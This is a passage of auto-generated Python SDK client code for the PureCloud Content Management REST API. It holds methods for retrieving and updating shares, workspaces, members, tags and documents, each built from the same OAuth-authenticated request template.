{} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SecurityProfileEntityListing', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_share(self, share_id, **kwargs): """ Retrieve details about an existing share. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_share(share_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str share_id: Share ID (required) :param list[str] expand: Which fields, if any, to expand. :return: Share If the method is called asynchronously, returns the request thread. """ all_params = ['share_id', 'expand'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_share" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'share_id' is set if ('share_id' not in params) or (params['share_id'] is None): raise ValueError("Missing the required parameter `share_id` when calling `get_contentmanagement_share`") resource_path = '/api/v2/contentmanagement/shares/{shareId}'.replace('{format}', 'json') path_params = {} if 'share_id' in params: path_params['shareId'] = params['share_id'] query_params = {} if 'expand' in params: query_params['expand'] = params['expand'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Share', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_shared_shared_id(self, shared_id, **kwargs): """ Get shared documents. Securely download a shared document. This method requires the download sharing URI obtained in the get document response (downloadSharingUri). Documents may be shared between users in the same workspace. Documents may also be shared between any user by creating a content management share. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_shared_shared_id(shared_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str shared_id: Shared ID (required) :param bool redirect: Turn on or off redirect :param str disposition: Request how the share content will be downloaded: attached as a file or inline. Default is attachment. :param str content_type: The requested format for the specified document. If supported, the document will be returned in that format. Example contentType=audio/wav :param str expand: Expand some document fields :return: SharedResponse If the method is called asynchronously, returns the request thread. """ all_params = ['shared_id', 'redirect', 'disposition', 'content_type', 'expand'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_shared_shared_id" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'shared_id' is set if ('shared_id' not in params) or (params['shared_id'] is None): raise ValueError("Missing the required parameter `shared_id` when calling `get_contentmanagement_shared_shared_id`") resource_path = '/api/v2/contentmanagement/shared/{sharedId}'.replace('{format}', 'json') path_params = {} if 'shared_id' in params: path_params['sharedId'] = params['shared_id'] query_params = {} if 'redirect' in params: query_params['redirect'] = params['redirect'] if 'disposition' in params: query_params['disposition'] = params['disposition'] if 'content_type' in params: query_params['contentType'] = params['content_type'] if 'expand' in params: query_params['expand'] = params['expand'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SharedResponse', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_shares(self, **kwargs): """ Gets a list of shares. You must specify at least one filter (e.g. entityId). Failing to specify a filter will return 400. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_shares(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str entity_id: Filters the shares returned to only the entity specified by the value of this parameter. :param list[str] expand: Which fields, if any, to expand. :param int page_size: Page size :param int page_number: Page number :return: ShareEntityListing If the method is called asynchronously, returns the request thread. """ all_params = ['entity_id', 'expand', 'page_size', 'page_number'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_shares" % key ) params[key] = val del params['kwargs'] resource_path = '/api/v2/contentmanagement/shares'.replace('{format}', 'json') path_params = {} query_params = {} if 'entity_id' in params: query_params['entityId'] = params['entity_id'] if 'expand' in params: query_params['expand'] = params['expand'] if 'page_size' in params: query_params['pageSize'] = params['page_size'] if 'page_number' in params: query_params['pageNumber'] = params['page_number'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ShareEntityListing', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_status(self, **kwargs): """ Get a list of statuses for pending operations This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_status(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int page_size: Page size :param int page_number: Page number :return: CommandStatusEntityListing If the method is called asynchronously, returns the request thread. """ all_params = ['page_size', 'page_number'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_status" % key ) params[key] = val del params['kwargs'] resource_path = '/api/v2/contentmanagement/status'.replace('{format}', 'json') path_params = {} query_params = {} if 'page_size' in params: query_params['pageSize'] = params['page_size'] if 'page_number' in params: query_params['pageNumber'] = params['page_number'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='CommandStatusEntityListing', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_status_status_id(self, status_id, **kwargs): """ Get a status. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_status_status_id(status_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str status_id: Status ID (required) :return: CommandStatus If the method is called asynchronously, returns the request thread. """ all_params = ['status_id'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_status_status_id" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'status_id' is set if ('status_id' not in params) or (params['status_id'] is None): raise ValueError("Missing the required parameter `status_id` when calling `get_contentmanagement_status_status_id`") resource_path = '/api/v2/contentmanagement/status/{statusId}'.replace('{format}', 'json') path_params = {} if 'status_id' in params: path_params['statusId'] = params['status_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='CommandStatus', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_usage(self, **kwargs): """ Get usage details. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_usage(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :return: Usage If the method is called asynchronously, returns the request thread. """ all_params = [] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_usage" % key ) params[key] = val del params['kwargs'] resource_path = '/api/v2/contentmanagement/usage'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Usage', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_workspace(self, workspace_id, **kwargs): """ Get a workspace. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_workspace(workspace_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str workspace_id: Workspace ID (required) :param list[str] expand: Which fields, if any, to expand. :return: Workspace If the method is called asynchronously, returns the request thread. """ all_params = ['workspace_id', 'expand'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_workspace" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workspace_id' is set if ('workspace_id' not in params) or (params['workspace_id'] is None): raise ValueError("Missing the required parameter `workspace_id` when calling `get_contentmanagement_workspace`") resource_path = '/api/v2/contentmanagement/workspaces/{workspaceId}'.replace('{format}', 'json') path_params = {} if 'workspace_id' in params: path_params['workspaceId'] = params['workspace_id'] query_params = {} if 'expand' in params: query_params['expand'] = params['expand'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Workspace', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_workspace_documents(self, workspace_id, **kwargs): """ Get a list of documents. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_workspace_documents(workspace_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str workspace_id: Workspace ID (required) :param list[str] expand: Which fields, if any, to expand. :param int page_size: Page size :param int page_number: Page number :param str sort_by: name or dateCreated :param str sort_order: ascending or descending :return: DocumentEntityListing If the method is called asynchronously, returns the request thread. """ all_params = ['workspace_id', 'expand', 'page_size', 'page_number', 'sort_by', 'sort_order'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_workspace_documents" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workspace_id' is set if ('workspace_id' not in params) or (params['workspace_id'] is None): raise ValueError("Missing the required parameter `workspace_id` when calling `get_contentmanagement_workspace_documents`") resource_path = '/api/v2/contentmanagement/workspaces/{workspaceId}/documents'.replace('{format}', 'json') path_params = {} if 'workspace_id' in params: path_params['workspaceId'] = params['workspace_id'] query_params = {} if 'expand' in params: query_params['expand'] = params['expand'] if 'page_size' in params: query_params['pageSize'] = params['page_size'] if 'page_number' in params: query_params['pageNumber'] = params['page_number'] if 'sort_by' in params: query_params['sortBy'] = params['sort_by'] if 'sort_order' in params: query_params['sortOrder'] = params['sort_order'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='DocumentEntityListing', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_workspace_member(self, workspace_id, member_id, **kwargs): """ Get a workspace member This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_workspace_member(workspace_id, member_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str workspace_id: Workspace ID (required) :param str member_id: Member ID (required) :param list[str] expand: Which fields, if any, to expand. :return: WorkspaceMember If the method is called asynchronously, returns the request thread. """ all_params = ['workspace_id', 'member_id', 'expand'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_workspace_member" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workspace_id' is set if ('workspace_id' not in params) or (params['workspace_id'] is None): raise ValueError("Missing the required parameter `workspace_id` when calling `get_contentmanagement_workspace_member`") # verify the required parameter 'member_id' is set if ('member_id' not in params) or (params['member_id'] is None): raise ValueError("Missing the required parameter `member_id` when calling `get_contentmanagement_workspace_member`") resource_path = '/api/v2/contentmanagement/workspaces/{workspaceId}/members/{memberId}'.replace('{format}', 'json') path_params = {} if 'workspace_id' in params: path_params['workspaceId'] = params['workspace_id'] if 'member_id' in params: path_params['memberId'] = params['member_id'] query_params = {} if 'expand' in params: query_params['expand'] = params['expand'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='WorkspaceMember', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_workspace_members(self, workspace_id, **kwargs): """ Get a list workspace members This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_workspace_members(workspace_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str workspace_id: Workspace ID (required) :param int page_size: Page size :param int page_number: Page number :param list[str] expand: Which fields, if any, to expand. :return: WorkspaceMemberEntityListing If the method is called asynchronously, returns the request thread. """ all_params = ['workspace_id', 'page_size', 'page_number', 'expand'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_workspace_members" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workspace_id' is set if ('workspace_id' not in params) or (params['workspace_id'] is None): raise ValueError("Missing the required parameter `workspace_id` when calling `get_contentmanagement_workspace_members`") resource_path = '/api/v2/contentmanagement/workspaces/{workspaceId}/members'.replace('{format}', 'json') path_params = {} if 'workspace_id' in params: path_params['workspaceId'] = params['workspace_id'] query_params = {} if 'page_size' in params: query_params['pageSize'] = params['page_size'] if 'page_number' in params: query_params['pageNumber'] = params['page_number'] if 'expand' in params: query_params['expand'] = params['expand'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='WorkspaceMemberEntityListing', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_workspace_tagvalue(self, workspace_id, tag_id, **kwargs): """ Get a workspace tag This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_workspace_tagvalue(workspace_id, tag_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str workspace_id: Workspace ID (required) :param str tag_id: Tag ID (required) :param list[str] expand: Which fields, if any, to expand. :return: TagValue If the method is called asynchronously, returns the request thread. """ all_params = ['workspace_id', 'tag_id', 'expand'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_workspace_tagvalue" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workspace_id' is set if ('workspace_id' not in params) or (params['workspace_id'] is None): raise ValueError("Missing the required parameter `workspace_id` when calling `get_contentmanagement_workspace_tagvalue`") # verify the required parameter 'tag_id' is set if ('tag_id' not in params) or (params['tag_id'] is None): raise ValueError("Missing the required parameter `tag_id` when calling `get_contentmanagement_workspace_tagvalue`") resource_path = '/api/v2/contentmanagement/workspaces/{workspaceId}/tagvalues/{tagId}'.replace('{format}', 'json') path_params = {} if 'workspace_id' in params: path_params['workspaceId'] = params['workspace_id'] if 'tag_id' in params: path_params['tagId'] = params['tag_id'] query_params = {} if 'expand' in params: query_params['expand'] = params['expand'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TagValue', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_workspace_tagvalues(self, workspace_id, **kwargs): """ Get a list of workspace tags This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_workspace_tagvalues(workspace_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str workspace_id: Workspace ID (required) :param str value: filter the list of tags returned :param int page_size: Page size :param int page_number: Page number :param list[str] expand: Which fields, if any, to expand. :return: TagValueEntityListing If the method is called asynchronously, returns the request thread. """ all_params = ['workspace_id', 'value', 'page_size', 'page_number', 'expand'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_workspace_tagvalues" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workspace_id' is set if ('workspace_id' not in params) or (params['workspace_id'] is None): raise ValueError("Missing the required parameter `workspace_id` when calling `get_contentmanagement_workspace_tagvalues`") resource_path = '/api/v2/contentmanagement/workspaces/{workspaceId}/tagvalues'.replace('{format}', 'json') path_params = {} if 'workspace_id' in params: path_params['workspaceId'] = params['workspace_id'] query_params = {} if 'value' in params: query_params['value'] = params['value'] if 'page_size' in params: query_params['pageSize'] = params['page_size'] if 'page_number' in params: query_params['pageNumber'] = params['page_number'] if 'expand' in params: query_params['expand'] = params['expand'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TagValueEntityListing', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_workspaces(self, **kwargs): """ Get a list of workspaces. Specifying 'content' access will return all workspaces the user has document access to, while 'admin' access will return all group workspaces the user has administrative rights to. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_workspaces(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int page_size: Page size :param int page_number: Page number :param list[str] access: Requested access level. :param list[str] expand: Which fields, if any, to expand. :return: WorkspaceEntityListing If the method is called asynchronously, returns the request thread. """ all_params = ['page_size', 'page_number', 'access', 'expand'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_workspaces" % key ) params[key] = val del params['kwargs'] resource_path = '/api/v2/contentmanagement/workspaces'.replace('{format}', 'json') path_params = {} query_params = {} if 'page_size' in params: query_params['pageSize'] = params['page_size'] if 'page_number' in params: query_params['pageNumber'] = params['page_number'] if 'access' in params: query_params['access'] = params['access'] if 'expand' in params: query_params['expand'] = params['expand'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='WorkspaceEntityListing', auth_settings=auth_settings, callback=params.get('callback')) return response def post_contentmanagement_auditquery(self, body, **kwargs): """ Query audits This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.post_contentmanagement_auditquery(body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param ContentQueryRequest body: Allows for a filtered query returning facet information (required) :return: QueryResults If the method is called asynchronously, returns the request thread. """ all_params = ['body'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method post_contentmanagement_auditquery" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `post_contentmanagement_auditquery`") resource_path = '/api/v2/contentmanagement/auditquery'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='QueryResults', auth_settings=auth_settings, callback=params.get('callback')) return response def post_contentmanagement_document(self, document_id, body, **kwargs): """ Update a document. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.post_contentmanagement_document(document_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str document_id: Document ID (required) :param DocumentUpdate body: Document (required) :param str expand: Expand some document fields :param bool override: Override any lock on the document :return: Document If the method is called asynchronously, returns the request thread. """ all_params = ['document_id', 'body', 'expand', 'override'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method post_contentmanagement_document" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'document_id' is set if ('document_id' not in params) or (params['document_id'] is None): raise ValueError("Missing the required parameter `document_id` when calling `post_contentmanagement_document`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `post_contentmanagement_document`") resource_path = '/api/v2/contentmanagement/documents/{documentId}'.replace('{format}', 'json') path_params = {} if 'document_id' in params: path_params['documentId'] = params['document_id'] query_params = {} if 'expand' in params: query_params['expand'] = params['expand'] if 'override' in params: query_params['override'] = params['override'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Document', auth_settings=auth_settings, callback=params.get('callback')) return response def post_contentmanagement_document_content(self, document_id, body, **kwargs): """ Replace the contents of a document. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.post_contentmanagement_document_content(document_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str document_id: Document ID (required) :param ReplaceRequest body: Replace Request (required) :param bool override: Override any lock on the document :return: ReplaceResponse If the method is called asynchronously, returns the request thread. """ all_params = ['document_id', 'body', 'override'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method post_contentmanagement_document_content" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'document_id' is set if ('document_id' not in params) or (params['document_id'] is None): raise ValueError("Missing the required parameter `document_id` when calling `post_contentmanagement_document_content`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `post_contentmanagement_document_content`") resource_path = '/api/v2/contentmanagement/documents/{documentId}/content'.replace('{format}', 'json') path_params = {} if 'document_id' in params: path_params['documentId'] = params['document_id'] query_params = {} if 'override' in params: query_params['override'] = params['override'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ReplaceResponse', auth_settings=auth_settings, callback=params.get('callback')) return response def post_contentmanagement_documents(self, body, **kwargs): """ Add a document. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.post_contentmanagement_documents(body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param DocumentUpload body: Document (required) :param str copy_source: Copy a document within a workspace or to a new workspace. Provide a document ID as the copy source. :param str move_source: Move a document to a new workspace. Provide a document ID as the move source. :param bool override: Override any lock on the source document :return: Document If the method is called asynchronously, returns the request thread. """ all_params = ['body', 'copy_source', 'move_source', 'override'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method post_contentmanagement_documents" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `post_contentmanagement_documents`") resource_path = '/api/v2/contentmanagement/documents'.replace('{format}', 'json') path_params = {} query_params = {} if 'copy_source' in params: query_params['copySource'] = params['copy_source'] if 'move_source' in params: query_params['moveSource'] = params['move_source'] if 'override' in params: query_params['override'] = params['override'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Document', auth_settings=auth_settings, callback=params.get('callback')) return response def post_contentmanagement_query(self, body, **kwargs): """ Query content This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.post_contentmanagement_query(body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param QueryRequest body: Allows for a filtered query returning facet information (required) :param str expand: Expand some document fields :return: QueryResults If the method is called asynchronously, 